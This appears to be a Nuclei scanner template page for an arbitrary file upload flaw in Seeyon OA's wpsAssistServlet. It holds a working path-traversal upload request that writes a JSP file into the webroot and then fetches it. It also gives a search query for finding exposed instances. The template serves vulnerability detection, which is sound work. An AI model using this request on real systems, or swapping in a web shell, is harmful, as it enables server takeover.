Seeyon OA wpsAssistServlet - Arbitrary File Upload

ID: seeyon-oa-sp2-file-upload

Severity: critical

Author: SleepingBag945

Tags: seeyon,oa,file-upload,intrusive

Description

There is an arbitrary file upload vulnerability in the Seeyon OA wpsAssistServlet interface. Through the vulnerability, an attacker can send a specific request packet to upload malicious files and obtain server permissions.

YAML Source

id: seeyon-oa-sp2-file-upload

info:
  name: Seeyon OA wpsAssistServlet - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    There is an arbitrary file upload vulnerability in the Seeyon OA wpsAssistServlet interface. Through the vulnerability, an attacker can send a specific request packet to upload malicious files and obtain server permissions.
  reference:
    - https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java
    - http://wiki.peiqi.tech/wiki/oa/致远OA/致远OA%20wpsAssistServlet%20任意文件上传漏洞.html
    - https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E8%87%B4%E8%BF%9COA%20wpsAssistServlet%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="致远互联-OA" && title="V8.0SP2"
  tags: seeyon,oa,file-upload,intrusive
variables:
  filename: "{{rand_base(6)}}"
  string: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/{{filename}}.jsp&fileId=2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
        Accept-Encoding: gzip

        --59229605f98b8cf290a7b8908b34616b
        Content-Disposition: form-data; name="upload"; filename="{{filename}}.xls"
        Content-Type: application/vnd.ms-excel

        <% out.println("{{string}}");%>
        --59229605f98b8cf290a7b8908b34616b--
      - |
        GET /{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '"success":'

      - type: word
        part: body_2
        words:
          - '{{string}}'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203bbfe123e712f5d477f809f884d4ecd513d036a7f7cb7ed4cb70bb9809806d08022100ecb082885fdb4c56f20bab329597d4326269fa6473a9cdbdda6c5c87d0037a3b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/seeyon/seeyon-oa-sp2-file-upload.yaml"

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